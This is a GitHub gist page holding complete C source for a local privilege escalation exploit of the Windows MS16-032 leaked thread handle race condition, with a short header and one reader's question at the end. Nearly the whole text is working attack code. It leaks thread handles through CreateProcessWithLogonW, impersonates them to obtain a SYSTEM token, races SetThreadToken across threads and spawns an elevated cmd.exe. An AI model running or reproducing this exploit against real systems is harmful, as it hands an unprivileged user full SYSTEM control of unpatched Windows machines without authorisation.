Last active
January 5, 2023 22:20
-
-
Save hugsy/c7c89bad61b3fa2fa3c7ab0b96310c2d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Curated exploit of @tirranido leaked handle race condition | |
* | |
* Tested on | |
* - Win7 x64 | |
* - Win8.1 x64 | |
* - Win10 x64 | |
* | |
* Ref: https://googleprojectzero.blogspot.com.au/2016/03/exploiting-leaked-thread-handle.html | |
* @_hugsy_ | |
*/ | |
#include <stdio.h> | |
#include <tchar.h> | |
#include <Windows.h> | |
#include <strsafe.h> | |
#include <map> | |
#define MAX_PROCESSES 1000 | |
#pragma comment(lib, "Advapi32.lib") | |
typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE, HANDLE, PSECURITY_QUALITY_OF_SERVICE); | |
struct ThreadArg | |
{ | |
HANDLE hThread; | |
HANDLE hToken; | |
}; | |
void ErrorExit(LPTSTR lpszFunction, BOOL bIsFatal) | |
{ | |
LPVOID lpMsgBuf; | |
LPVOID lpDisplayBuf; | |
DWORD dw = GetLastError(); | |
FormatMessage( | |
FORMAT_MESSAGE_ALLOCATE_BUFFER | | |
FORMAT_MESSAGE_FROM_SYSTEM | | |
FORMAT_MESSAGE_IGNORE_INSERTS, | |
NULL, | |
dw, | |
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), | |
(LPTSTR) &lpMsgBuf, | |
0, NULL ); | |
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, | |
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); | |
StringCchPrintf((LPTSTR)lpDisplayBuf, LocalSize(lpDisplayBuf) / sizeof(TCHAR), | |
TEXT("[-] %s failed with error %d: %s"), | |
lpszFunction, dw, lpMsgBuf); | |
printf((LPCTSTR)lpDisplayBuf); | |
LocalFree(lpMsgBuf); | |
LocalFree(lpDisplayBuf); | |
if (bIsFatal) | |
ExitProcess(dw); | |
} | |
int GetNumberOfCores() | |
{ | |
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION pSlpi; | |
DWORD dLen = 0x100*sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); | |
BOOL res = FALSE; | |
DWORD logicalProcessorCount=0, i, len; | |
pSlpi = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)VirtualAlloc(NULL, dLen, MEM_COMMIT, PAGE_READWRITE); | |
res = GetLogicalProcessorInformation(pSlpi, &dLen); | |
if(res == FALSE){ | |
ErrorExit(TEXT("GetLogicalProcessorInformation"), TRUE); | |
} | |
len = dLen / sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); | |
for(i=0; i<len; i++){ | |
if(pSlpi[i].Relationship == RelationProcessorCore){ | |
logicalProcessorCount++; | |
} | |
} | |
VirtualFree(pSlpi, dLen, 0); | |
return logicalProcessorCount; | |
} | |
HANDLE GetThreadHandle() | |
{ | |
PROCESS_INFORMATION procInfo = {}; | |
STARTUPINFO startInfo = {}; | |
startInfo.cb = sizeof(startInfo); | |
startInfo.hStdInput = GetCurrentThread(); | |
startInfo.hStdOutput = GetCurrentThread(); | |
startInfo.hStdError = GetCurrentThread(); | |
startInfo.dwFlags = STARTF_USESTDHANDLES; | |
if (CreateProcessWithLogonW(L"fooooo", L"fooooo", L"fooooo", | |
LOGON_NETCREDENTIALS_ONLY, | |
nullptr, L"cmd.exe", CREATE_SUSPENDED, | |
nullptr, nullptr, (LPSTARTUPINFOW)&startInfo, &procInfo)) | |
{ | |
HANDLE hThread; | |
BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4, | |
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS); | |
DWORD dwLastError = GetLastError(); | |
TerminateProcess(procInfo.hProcess, 1); | |
CloseHandle(procInfo.hProcess); | |
CloseHandle(procInfo.hThread); | |
if (!res) | |
{ | |
ErrorExit(TEXT("DuplicateHandle"), TRUE); | |
} | |
return hThread; | |
} | |
else | |
{ | |
ErrorExit(TEXT("CreateProcessWithLogonW"), TRUE); | |
} | |
} | |
HANDLE GetSystemToken(HANDLE hThread) | |
{ | |
HANDLE hToken; | |
SuspendThread(hThread); | |
NtImpersonateThread* fNtImpersonateThread = (NtImpersonateThread*)GetProcAddress(GetModuleHandle("ntdll"), "NtImpersonateThread"); | |
SECURITY_QUALITY_OF_SERVICE sqos = {}; | |
sqos.Length = sizeof(sqos); | |
sqos.ImpersonationLevel = SecurityImpersonation; | |
SetThreadToken(&hThread, nullptr); | |
NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos); | |
if (status != 0) | |
{ | |
ResumeThread(hThread); | |
ErrorExit(TEXT("fNtImpersonateThread"), TRUE); | |
} | |
if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, FALSE, &hToken)) | |
{ | |
ErrorExit(TEXT("OpenThreadToken"), FALSE); | |
ResumeThread(hThread); | |
exit(1); | |
} | |
ResumeThread(hThread); | |
return hToken; | |
} | |
DWORD CALLBACK SetTokenThread(LPVOID lpArg) | |
{ | |
ThreadArg* arg = (ThreadArg*)lpArg; | |
while (TRUE) | |
{ | |
if (!SetThreadToken(&arg->hThread, arg->hToken)){ | |
ErrorExit(TEXT("SetThreadToken"), FALSE); | |
break; | |
} | |
} | |
return 0; | |
} | |
int main(int argc, char **argv, char **envp) | |
{ | |
printf("[+] Leaked handle race condition (MS16-032)\n"); | |
int nNumberOfCores = GetNumberOfCores(); | |
if(nNumberOfCores < 2){ | |
printf("[+] Cannot race of single core CPU\n"); | |
ExitProcess(1); | |
} | |
printf("[+] %d cores found\n", nNumberOfCores); | |
std::map<DWORD, HANDLE> thread_handles; | |
printf("[+] Gathering thread handles\n"); | |
for (int i = 0; i < MAX_PROCESSES; ++i) { | |
HANDLE hThread = GetThreadHandle(); | |
DWORD dwTid = GetThreadId(hThread); | |
if (!dwTid){ | |
ErrorExit(TEXT("GetThreadId"), TRUE); | |
} | |
if (thread_handles.find(dwTid) == thread_handles.end()){ | |
thread_handles[dwTid] = hThread; | |
} else { | |
CloseHandle(hThread); | |
} | |
} | |
printf("[+] Leaked %d handles\n", thread_handles.size()); | |
if (thread_handles.size() > 0) | |
{ | |
HANDLE hToken = GetSystemToken(thread_handles.begin()->second); | |
printf("[+] System Token: %p\n", hToken); | |
for (const auto& pair : thread_handles) | |
{ | |
ThreadArg* arg = new ThreadArg; | |
arg->hThread = pair.second; | |
DuplicateToken(hToken, SecurityImpersonation, &arg->hToken); | |
CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr); | |
} | |
while (TRUE){ | |
PROCESS_INFORMATION procInfo = {}; | |
STARTUPINFO startInfo = {}; | |
startInfo.cb = sizeof(startInfo); | |
if (CreateProcessWithLogonW(L"fooooo", L"fooooo", L"fooooo", | |
LOGON_NETCREDENTIALS_ONLY, nullptr, | |
L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr, | |
(LPSTARTUPINFOW)&startInfo, &procInfo)) | |
{ | |
HANDLE hProcessToken; | |
TOKEN_ELEVATION elevation; | |
DWORD dwSize = 0; | |
if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED, &hProcessToken)) | |
{ | |
printf("[+] OpenProcessToken failed, resume thread %d\n", procInfo.hProcess); | |
ResumeThread(procInfo.hThread); | |
printf("[+] Wait for 'cmd'\n"); | |
break; | |
} | |
if (!GetTokenInformation(hProcessToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)){ | |
ErrorExit(TEXT("GetTokenInformation"), FALSE); | |
ResumeThread(procInfo.hThread); | |
break; | |
} | |
if (elevation.TokenIsElevated){ | |
printf("[+] Created elevated process\n"); | |
ResumeThread(procInfo.hThread); | |
break; | |
} | |
TerminateProcess(procInfo.hProcess, 1); | |
CloseHandle(procInfo.hProcess); | |
CloseHandle(procInfo.hThread); | |
} | |
} | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
What is the
(HANDLE)0x4
argument passed toDuplicateHandle
as thehSourceHandle
param?